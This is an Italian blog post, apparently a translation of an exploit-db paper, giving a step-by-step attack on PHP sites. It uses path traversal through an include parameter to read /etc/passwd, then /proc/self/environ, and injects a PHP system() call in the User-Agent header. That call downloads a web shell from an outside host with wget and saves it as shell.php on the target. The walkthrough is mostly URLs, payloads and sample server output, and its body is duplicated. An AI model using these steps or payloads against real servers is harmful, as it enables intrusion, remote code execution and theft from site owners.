Il PHP nasce nel 1994 come una serie di macro per facilitare la scrittura di pagine web dinamiche, poi si è evoluto fino a diventare un potente e flessibile linguaggio di programmazione lato server, oggi è implementato su moltissime piattaforme Windows, Unix/Linux, Mac ed altre.Questo linguaggio è diventato molto simile al C++, è possibile scrivere classi e programmare ad oggetti, quindi riuscire iniettare uno script in un server consente di penetrare in esso molto profondità.Il metodo proc/self/environ è davvero molto efficace, ed i proprietari dei server dovrebbero tenere ben presente questa possibilità e prendere le precauzioni del caso. Ora cerchiamo di capire come questo metodo funziona, supponiamo di avere questo obiettivo:
www.website.com/view.php?page=contact.php
la prima cosa da tentare e sostituire la pagina "contact.php" con i caratteri "../"
www.website.com/view.php?page=../
Se otterremo un errore tipo:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337
allora ci sono buone possibilità di poter completare l'iniezione del codice.Adesso è possibile passare alla fase successiva, in sostanza ricercheremo il file "etc/passwd" risalendo a ritroso l'albero delle directory fino a trovare il file come da esempio:
www.website.com/view.php?page=../../../etc/passwd
otteniamo errore:
Warning: include(../) [function.include]: failed to open stream: No such file or...
altro tentativo:
www.website.com/view.php?page=../../../../../etc/passwd
se ad un certo punto otteniamo una risposta simile a questa:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var....ecc ecc
Possiamo procedere al passo successivo , che consiste nel sostituire "etc/passwd" con "proc/self/environ" ed analizzare la risposta del server:
www.website.com/view.php?page=../../../../../proc/self/environ
Se otteniamo una risposta simile a questa:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, i ...ecc ecc
allora la directory proc/self/environ è accessibile e possiamo iniziare l'iniezione del codice, se invece otteniamo una pagina bianca allora su questo server il metodo non funziona.Prima di poter iniettare il codice è necessario installare un addon per firefox , "tampere data" che potete trovare qui https://addons.mozilla.org/it/firefox/addon/tamper-data/.Ora supponendo di voler iniettare il codice PHP scritto nel file http://example.com/Shells/gny.txt, si deve solo richiedere l'url:
www.website.com/view.php?page=../../../../../proc/self/environ
poi da tampere scrivere nel campo "user-agent" la seguente stringa:
<?system('wget http://example.com/Shells/gny.txt -O shell.php');?>
e inviare la richiesta. Se tutto è andato bene lo script PHP sarà accessibile nella directory "www.website.com/shell.php".Qui potete leggere l'articolo originale http://www.exploit-db.com/papers/12886/
www.website.com/view.php?page=contact.php
la prima cosa da tentare e sostituire la pagina "contact.php" con i caratteri "../"
www.website.com/view.php?page=../
Se otterremo un errore tipo:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337
allora ci sono buone possibilità di poter completare l'iniezione del codice.Adesso è possibile passare alla fase successiva, in sostanza ricercheremo il file "etc/passwd" risalendo a ritroso l'albero delle directory fino a trovare il file come da esempio:
www.website.com/view.php?page=../../../etc/passwd
otteniamo errore:
Warning: include(../) [function.include]: failed to open stream: No such file or...
altro tentativo:
www.website.com/view.php?page=../../../../../etc/passwd
se ad un certo punto otteniamo una risposta simile a questa:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var....ecc ecc
Possiamo procedere al passo successivo , che consiste nel sostituire "etc/passwd" con "proc/self/environ" ed analizzare la risposta del server:
www.website.com/view.php?page=../../../../../proc/self/environ
Se otteniamo una risposta simile a questa:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, i ...ecc ecc
allora la directory proc/self/environ è accessibile e possiamo iniziare l'iniezione del codice, se invece otteniamo una pagina bianca allora su questo server il metodo non funziona.Prima di poter iniettare il codice è necessario installare un addon per firefox , "tampere data" che potete trovare qui https://addons.mozilla.org/it/firefox/addon/tamper-data/.Ora supponendo di voler iniettare il codice PHP scritto nel file http://example.com/Shells/gny.txt, si deve solo richiedere l'url:
www.website.com/view.php?page=../../../../../proc/self/environ
poi da tampere scrivere nel campo "user-agent" la seguente stringa:
<?system('wget http://example.com/Shells/gny.txt -O shell.php');?>
e inviare la richiesta. Se tutto è andato bene lo script PHP sarà accessibile nella directory "www.website.com/shell.php".Qui potete leggere l'articolo originale http://www.exploit-db.com/papers/12886/
Nessun commento:
Posta un commento